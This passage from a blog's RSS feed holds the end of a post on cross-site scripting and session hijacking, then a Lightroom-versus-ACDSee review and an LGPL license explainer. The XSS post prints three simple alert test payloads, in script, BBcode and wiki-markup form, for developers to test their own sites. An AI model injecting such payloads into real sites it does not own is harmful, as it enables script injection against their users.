<p>You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication.  Cookies are an excellent convenience feature for users, so their use is encourage, but there are some highly important tasks that may call for more protection.  In addition to the cookie, users should also be asked for their password when they undertake activities such as changing their (or anybody else&#8217;s) password or escalating their privilege level. So, if your session is hijacked using your session ID, the attacker won’t be able to lock the rightful account owner out of the account or retain control over the account after they leave. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.</p>
<p><strong>What if you want your users to be allowed to submit HTML?</strong></p>
<p>Escaping plain text for output is easy.  All that needs to be done is to replace a small set of special characters with their escaped equivalents in HTML.</p>
<p>However, if a web application allows users to submit actual HTML (say, from a rich text editing control, or even prompting the user to type HTML in manually), then filtering this for safe output on a web page becomes much harder.  Filtering HTML cannot be reliably done with a search and replace statement or two, or even a highly complex <a href="http://en.wikipedia.org/wiki/Regular_expression_examples">regular expression</a>.  Any filter would need to be able to interpret the HTML in the same way that a browser &#8211; any browser &#8211; might, and browsers do some strange things.</p>
<p>A common compromise, as seen on many blogs, is to allow only a small subset of HTML.  This makes filtering considerably more attainable than otherwise, but by no means simple.  A read through of the <a href="http://ha.ckers.org/xss.html">XSS cheat sheet</a> will reveal the necessary complexity of any required filtering mechanism.  What&#8217;s more, new methods of defeating XSS filters are discovered all the time (and may be added to the XSS cheat sheet at a later date).</p>
<p>I myself have written a rather comprehensive HTML and XHTML filter in PHP, and it consists of 3 files of source code with over 2000 lines of code in total, not including DTDs.  It is capable of understanding the entire HTML language in terms of its DTD.  To say it is complicated is an understatement, and it still has its limitations.  If you wanted to go down that path you could use HTML Tidy, I presume, incorporated with your own filtering code to make the filtering part a bit easier.</p>
<p><strong>Testing for cross-site scripting vulnerabilities in your application</strong></p>
<p>A way to test for Cross Site Scripting vulnerabilities is to insert testing code into every field, and every variable passed on the query string, that you can find in your application.</p>
<p>The <a href="http://ha.ckers.org/xss.html">XSS cheat sheet</a> that I mentioned above is the best source of XSS testing code that I know of.</p>
<p>Try, for example, inserting the following code where you would like to test.</p>
<pre><span>&lt;script&gt;alert('Hello World!');&lt;/script&gt;</span></pre>
<p>Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.</p>
<p>It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place &#8211; could a user possibly embed HTML or JavaScript into a username? What about user signatures? Secret questions and answers?</p>
<p>Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used.</p>
<p>Forum code or &#8220;BBcode&#8221;:</p>
<pre><span>[url=javascript:alert('Yes');]Are you vulnerable?[/url]</span></pre>
<p>Wiki markup:</p>
<pre><span>[javascript:alert("Yes");|Are you vulnerable?]</span></pre>
<p>Is your forum or wiki vulnerable?</p>
<p>The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, when I first wrote this article, I was surprised to find that a wiki I used at work was vulnerable to this. If anybody is tricked into clicking a link, any JavaScript in that link will run.</p>
<p>More information about cross-site scripting is available in this <a href="http://www.cert.org/advisories/CA-2000-02.html">CERT Advisory</a> and this <a href="http://httpd.apache.org/info/css-security/">document from Apache</a>. The Apache document points out, rightly, that the name &#8220;Cross-site scripting&#8221; is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously at SitePoint, Harry talked about <a href="http://www.sitepoint.com/blog-post-view.php?id=160408">Handling Content From Strangers</a>, which gives some more information on how you can protect your application from exploits.</p>
<p>Have a look at this very thorough <a href="http://shiflett.org/articles/foiling-cross-site-attacks">article by Chris Shiflett</a> on preventing cross-site scripting attacks.</p>
<p>Cross-site scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications.  However, other common vulnerabilities such as <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a>, including <a href="http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf">Login CSRF (PDF)</a>, and <a href="http://en.wikipedia.org/wiki/Clickjacking">clickjacking</a>, are just as serious.</p>
<br />Posted in Software development Tagged: cookies, online security, web application security, xss <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/103/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=103&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/02/12/cross-site-scripting-could-make-you-lose-your-cookies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>

		<media:content url="http://ads.aws.sitepoint.com/phpadsnew/www/delivery/lg.php?bannerid=849&#038;campaignid=537&#038;zoneid=136&#038;loc=http%3A%2F%2Fads.aws.sitepoint.com%2Fadjs.php%3Fregion%3D136%26did%3Dadz%26adtype%3Dvertical&#038;referer=http%3A%2F%2Fwww.sitepoint.com%2Fblogs%2F2005%2F07%2F18%2Fcross-site-scripting-could-make-you-lose-your-cookies%2F&#038;cb=84e7c0e88e" medium="image" />
	</item>
		<item>
		<title>Evaluating Photoshop Lightroom and ACDSee Pro Photo Manager</title>
		<link>http://bitdepth.thomasrutter.com/2009/02/10/evaluating-photoshop-lightroom-and-acdsee-pro-photo-manager/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/02/10/evaluating-photoshop-lightroom-and-acdsee-pro-photo-manager/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 14:45:28 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[acdsee]]></category>
		<category><![CDATA[camera raw]]></category>
		<category><![CDATA[lightroom]]></category>
		<category><![CDATA[photoshop lightroom]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=98</guid>
		<description><![CDATA[I tried out the trial versions of Adobe Photoshop Lightroom and ACDSee Pro Photo Manager recently.  I was particularly interested in seeing how they would work for a photography workflow, such as basic image adjustments to curves, sharpening, dodging and burning, fixing minor problems and cropping.  For more serious manipulation I can always use Photoshop [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=98&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I tried out the trial versions of Adobe Photoshop Lightroom and ACDSee Pro Photo Manager recently.  I was particularly interested in seeing how they would work for a photography workflow, such as basic image adjustments to curves, sharpening, dodging and burning, fixing minor problems and cropping.  For more serious manipulation I can always use Photoshop or the GIMP, but I kind of like the non-destructive process on these two new products I&#8217;m trying out below.</p>
<p>Last time I used ACDSee there was no such thing as ACDSee Pro Photo Manager.  Of course, there was also no such thing as Photoshop Lightroom.</p>
<p>Problems with Photoshop Lightroom:</p>
<ul>
<li>The user interface is annoying slow and unresponsive.  It&#8217;s not ridiculously bad, but it is jerky enought to annoy.  I can tolerate that all the calculations required to apply filters to an image take time and processing power, but any significant delay or slowness in simply expanding, collapsing, or resizing panes or windows is quite unnecessary.  Is it due to their use of non-native widgets (ie, skinning)?  Probably, though that doesn&#8217;t mean an interface needs to be slow &#8211; take recent versions of Firefox on Windows for example.</li>
<li>It lacks the ability to correct for barrel/pincushion distortion, and to do perspective correction.  I need to do barrel/pincushion distortion correction fairly often &#8211; for example on any photos containing buildings or straight lines.  This means it would be necessary to bring images into Photoshop a lot of the time for what should be a basic correction, even though more advanced corrections like primary colour adjustments and chromatic aberration correction, which I would probably need less often, are included.  Note that I couldn&#8217;t find this feature in ACDSee either, but based on price I had higher expectations of the Adobe product.</li>
<li>The noise removal was not too useful to me.  On a scale of 0 to 100, where 0 is no noise removal and 100 is maximum, 0 is not enough and even 1 is too much &#8211; especially for chroma.  There is no setting in between 0 and 1.  Then again, noise removal was not too good on ACDSee either, but in a different way.</li>
<li>Using Lightroom to simply browse photos on the hard drive was not very intuitive to me.  I usually prefer browsing my existing file heirarchy, and there seemed to be no way to do that &#8211; I had to &#8216;import&#8217; images into &#8216;albums&#8217; or similar, where albums didn&#8217;t necessarily correspond to their locations on their hard drive.  It&#8217;s an extra layer of confusion and it means I can&#8217;t be sure that I&#8217;m grabbing the right images if I go back into an Explorer window and just drag and drop.</li>
</ul>
<p>Problems with ACDSee:</p>
<ul>
<li>In any other colour mode than sRGB, everything seems about ten times as slow.  Instead of dragging a slider and seeing the colour on the image change as the slider is dragged, now you start dragging the slider and wonder why the program seems to have stopped responding for ages.  Then a few seconds after you&#8217;ve let go of the slider and are starting to click randomly on the screen to see if anything you are doing is having any effect, the colour finally changes in the preview.  This means that practically, it&#8217;s not possible to do any adjustments with a colour space other than sRGB loaded.  No problem, that&#8217;s fine &#8211; except that it&#8217;s a bit of a hassle.  If you forget and leave it loaded, and make further adjustments, it goes all slow again.  It&#8217;s also slightly disappointing that a piece of software for professionals would assume its users will all be using sRGB.  Notwithstanding the whole sRGB vs colour management debate, there are a lot of photographers that do value wider gamut colour spaces.</li>
<li>The sharpening feature is decent, but not as good as in Lightroom.  The sharpening radius is only selectable as a whole number of pixels, so sharpening using a radius of 0.6 is not possible.  Furthermore, there is a &#8216;threshold&#8217; for sharpening detail, but it represents a sudden cutoff &#8211; unlike Lightroom&#8217;s &#8216;detail&#8217; slider which allows a smooth transition between the sharpening applied to high contrast edges vs smoother surfaces.  As a result, sharpening an image with lots of grain cannot look nearly as good.</li>
</ul>
<p>Of the two, it is still hard to choose.  Lightroom has better sharpening and smoothing so for quality it would win for me, but I prefer the  file selection approach of ACDSee.  Then again, the ACDSee product is not really usable when doing adjustments using colour spaces other than sRGB; while I don&#8217;t expect to be doing this often, I might want to eventually.  And yet, the ACDSee product is still cheaper.</p>
<br />Posted in Photography Tagged: acdsee, camera raw, lightroom, Photography, photoshop lightroom <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/98/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=98&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/02/10/evaluating-photoshop-lightroom-and-acdsee-pro-photo-manager/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Looking at the LGPL license</title>
		<link>http://bitdepth.thomasrutter.com/2009/01/17/looking-at-the-lgpl-license/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/01/17/looking-at-the-lgpl-license/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 05:36:20 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>
		<category><![CDATA[gpl]]></category>
		<category><![CDATA[lgpl]]></category>
		<category><![CDATA[software licenses]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=91</guid>
		<description><![CDATA[The Lesser General Public License (LGPL) is a software license that is based on the GPL, but is more permissive. I have seen the GPL software license described as a cancer before,  and this analogy does indeed hold, even though it misses the point.  If you want to borrow any code released as &#8220;GPL&#8221; for [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=91&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License">Lesser General Public License (LGPL)</a> is a software license that is based on the <a href="http://en.wikipedia.org/wiki/GNU_General_Public_License">GPL</a>, but is more permissive.</p>
<p>I have seen the GPL software license <a href="http://www.theregister.co.uk/2001/06/02/ballmer_linux_is_a_cancer/">described as a cancer</a> before,  and this analogy does indeed hold, even though it misses the point.  If you want to borrow any code released as &#8220;GPL&#8221; for use in your own source code, any of your own code that the GPL is mixed with will also need to become GPL if ever you plan on distributing software.  However, this rule of the GPL is actually a very good thing, especially for hard working open source developers, because it ensures that their work can never be exploited by companies wishing to make a buck, unless those companies give their contributions to the code back under the same license, effectively becoming part of the same open source development effort.</p>
<p>The LGPL is mostly the same as the GPL except that it releases some of these restrictions.  I am not a law expert, but I have come to the following understanding.  In particular, it allows for code to be combined in the same project with code from any other license including proprietary licenses, under certain conditions.  If the whole thing, including the LGPL code as well as the other code, is distributed together, then it becomes known as a &#8216;combined work&#8217; under the terminology of the LGPL.  The distribution must abide by the following (a <a href="http://www.gnu.org/licenses/lgpl.html">complete list exists in the text of the license</a> under &#8216;Combined Works&#8217;):</p>
<ul>
<li>There must be some sort of clear separation between the LGPL code and the other code.  In particular, it must be possible for the recipient to modify the LGPL code or even completely replace it with other code, such as a modified version or later version of the libary.  Therefore, if it is a compiled program, then the LGPL code must either be <a href="http://en.wikipedia.org/wiki/Library_(computing)#Dynamic_linking">dynamically linked</a> (like, a separate DLL or shared file) such that it could easily be substituted for a similar library and still be interoperable; or, if it is statically linked, the minimum required source files and/or object files must be provided, to allow recompiling with an alternative library.  The non-LGPL portion may not contain any part of the LGPL code except for very simple header files.</li>
<li>It must be clearly pointed out which part of the code is LGPL covered, including its original copyright notice and the text of the LGPL (including the GPL on which it is based).</li>
<li>If the combined software displays copyright notices during the course of running, then the copyright notice for the LGPL covered portion must also appear here, along with a link to the LGPL and GPL.</li>
<li>In some cases, you would need to provide installation information detailing how to use a modified version of the LGPLd code in the combined application.</li>
</ul>
<p>The above is just a list of stuff that you have to do if you are going to redistribute some LGPL code as part of your non-LGPL application.  However, the text of the LGPL doesn&#8217;t really explain the benefits, or what opportunities it opens up to you.  If you are distributing a combined work which consists of both someone else&#8217;s LGPL code, and other code that is under a different license, you benefit from:</p>
<ul>
<li>You don&#8217;t need to release source code for the rest of your application (ie, the non-LGPL part).  The only exception to this being as described above &#8211; if it&#8217;s all statically linked then you&#8217;d need to provide just enough code (and/or object files) to be able re-link it with an alternative or modified version of the LGPL code.  If you are linking dynamically and interacting over a normal API, you don&#8217;t need to worry about that.</li>
<li>You don&#8217;t need to release the rest of your application under the GPL.  You can use any license you want, including more restrictive proprietary licenses, provided that when you do distribute it you follow the rules.</li>
<li>Unlike GPL version 3, which prohibits using the code if you are implementing copy protection or DRM software, you can use LGPL version 3 licensed code in an application which includes copy protection or DRM.</li>
</ul>
<p>So, LGPL is a fairly permissive license in comparison to the GPL, which cannot be &#8216;combined&#8217; with other proprietary licenses in this way.  So, what can&#8217;t you do with LGPL?  Well, apart from relaxed rules such as those already discussed, LGPL still contains all of the other restrictions of the GPL.  I won&#8217;t go into all of the detail of the GPL here, but here are some of the restrictions that you still retain when using the LGPL, that you may not retain with an even more permissive license (such as a BSD or X11 license):</p>
<ul>
<li>Anybody wishing to modify and redistribute LGPL code must also make the source code of the LGPL code, including their modifications, available and licensed under the LGPL.  Therefore, the open source community and the original author can still benefit if a commercial enterprise contributes improvements to the LGPL code.</li>
<li>All existing copyright notices in the LGPL code, as well as the GPL and LGPL licenses themselves, must be prominently displayed in any redistribution.  In addition to this, any application using the LGPL code must display such copyright notices and refer to the license whereever they display their own copyright notices.</li>
</ul>
<p>Something else of note is that whether you are building software that relies on either GPL or LGPL code, if you distribute that software without any of the GPL or LGPL included (ie, the user needs to download and install it themselves),  then it&#8217;s not considered a &#8216;combined work&#8217; and you don&#8217;t need to worry about complying with any terms.  However, if you include even so much as a header file from the GPL or LGPL code in your software, then you&#8217;ll be bound by the license terms of the GPL or LGPL.</p>
<br />Posted in Software development Tagged: gpl, lgpl, software licenses <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/91/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=91&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/01/17/looking-at-the-lgpl-license/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
	</channel>
</rss>
